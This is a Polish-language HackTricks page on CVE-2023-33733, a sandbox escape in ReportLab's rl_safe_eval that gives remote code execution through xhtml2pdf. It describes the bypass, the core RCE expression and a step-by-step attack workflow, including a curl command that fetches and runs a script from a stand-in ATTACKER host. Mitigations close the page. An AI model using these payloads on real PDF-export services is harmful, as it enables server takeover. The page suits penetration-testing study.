ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)

Reading time: 6 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Ta strona dokumentuje praktyczny sandbox escape i prymityw RCE w rl_safe_eval ReportLab używanym przez xhtml2pdf i inne pipeline'y generujące PDF, gdy renderują HTML kontrolowany przez użytkownika do PDF.

CVE-2023-33733 dotyczy ReportLab w wersjach do i włączając 3.6.12. W pewnych kontekstach atrybutów (na przykład color), wartości opakowane w triple brackets [[[ ... ]]] są oceniane po stronie serwera przez rl_safe_eval. Poprzez spreparowanie payloadu, który pivotuje od białolistowanego builtin (pow) do jego funkcji Pythonowych globals, atakujący może dotrzeć do modułu os i wykonać polecenia.

Kluczowe punkty

  • Trigger: wstrzyknięcie [[[ ... ]]] w oceniane atrybuty takie jak w markupie parsowanym przez ReportLab/xhtml2pdf.
  • Sandbox: rl_safe_eval zastępuje niebezpieczne builtiny, ale oceniane funkcje nadal ujawniają globals.
  • Bypass: utworzyć przejściową klasę Word, by obejść sprawdzanie nazw rl_safe_eval i uzyskać dostęp do łańcucha "globals" unikając filtrowania dunderów.
  • RCE: getattr(pow, Word("globals"))["os"].system("")
  • Stabilność: Zwrócić prawidłową wartość atrybutu po wykonaniu (dla color użyj and 'red').

Kiedy testować

  • Aplikacje, które udostępniają eksport HTML→PDF (profile, faktury, raporty) i pokazują xhtml2pdf/ReportLab w metadanych PDF lub komentarzach odpowiedzi HTTP.
  • exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
  • Odpowiedź HTTP dla PDF często zaczyna się od komentarza generatora ReportLab

Jak działa obejście sandboxu

  • rl_safe_eval usuwa lub zastępuje wiele builtinów (getattr, type, pow, ...) i stosuje filtrowanie nazw, aby odrzucać atrybuty zaczynające się od __ lub znajdujące się na denyliście.
  • Jednak bezpieczne funkcje żyją w słowniku globals dostępnych jako func.globals.
  • Użyj type(type(1)) aby odzyskać prawdziwą wbudowaną funkcję type (omijając wrapper ReportLab), następnie zdefiniuj klasę Word pochodzącą od str z zmienionym zachowaniem porównania tak, że:
  • .startswith('') → zawsze False (ominięcie sprawdzenia name startswith(''))
  • .eq zwraca False tylko przy pierwszym porównaniu (ominięcie sprawdzeń członkostwa w denyliście) i True potem (żeby Python getattr działał)
  • .hash równa się hash(str(self))
  • Dzięki temu getattr(pow, Word('globals')) zwraca dict globals opakowanej funkcji pow, który zawiera zaimportowany moduł os. Następnie: ['os'].system('').

Minimalny schemat eksploatacji (przykład w atrybucie) Umieść payload wewnątrz ocenianego atrybutu i upewnij się, że zwraca prawidłową wartość atrybutu przez boolean and 'red'.

exploit

  • Forma list-comprehension pozwala na pojedyncze wyrażenie akceptowalne przez rl_safe_eval.
  • Końcowe and 'red' zwraca prawidłowy kolor CSS, więc renderowanie nie zostaje przerwane.
  • Zastąp polecenie w razie potrzeby; użyj ping do weryfikacji wykonania przy pomocy tcpdump.

Operacyjny workflow

  1. Zidentyfikuj generator PDF
  • PDF Producer pokazuje xhtml2pdf; odpowiedź HTTP zawiera komentarz ReportLab.
  1. Znajdź input odzwierciedlany w PDF (np. bio/profil/opis) i wywołaj eksport.
  2. Zweryfikuj wykonanie niskoszumowym ICMP
  • Uruchom: sudo tcpdump -ni icmp
  • Payload: ... system('ping <your_ip>') ...
  • Windows często wysyła dokładnie cztery echo requests domyślnie.
  1. Ustanów shell
  • Dla Windows, niezawodne podejście dwustopniowe unika problemów z cudzysłowami/kodowaniem:
  • Stage 1 (pobranie):

exploit

  • Stage 2 (wykonanie):

exploit

  • Dla celów Linux, podobne dwustopniowe z curl/wget jest możliwe:
  • system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

Notatki i wskazówki

  • Konteksty atrybutów: color jest znanym ocenianym atrybutem; inne atrybuty w markupie ReportLab mogą również oceniać wyrażenia. Jeśli jedno miejsce jest sanitizowane, spróbuj innych renderowanych lokalizacji w przepływie PDF (różne pola, style tabel, itd.).
  • Cytowanie: Utrzymuj polecenia kompaktowe. Dwustopniowe pobrania znacznie redukują problemy z cytowaniem i escape'owaniem.
  • Niezawodność: Jeśli eksporty są cachowane lub kolejkowane, nieznacznie zmieniaj payload (np. losowa ścieżka lub query), aby nie trafiać w cache.

Mitigacje i detekcja

  • Uaktualnij ReportLab do 3.6.13 lub nowszego (CVE-2023-33733 naprawiony). Śledź również advisories bezpieczeństwa w pakietach dystrybucji.
  • Nie podawaj HTML/markup kontrolowanego przez użytkownika bezpośrednio do xhtml2pdf/ReportLab bez ścisłej sanitacji. Usuń/odrzuć [[[...]]] konstrukty oceny i vendor-specific tagi, gdy input jest nieufny.
  • Rozważ wyłączenie lub owinięcie użycia rl_safe_eval całkowicie dla nieufnych inputów.
  • Monitoruj podejrzane połączenia wychodzące podczas generowania PDF (np. ICMP/HTTP z serwerów aplikacji podczas eksportu dokumentów).

References

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks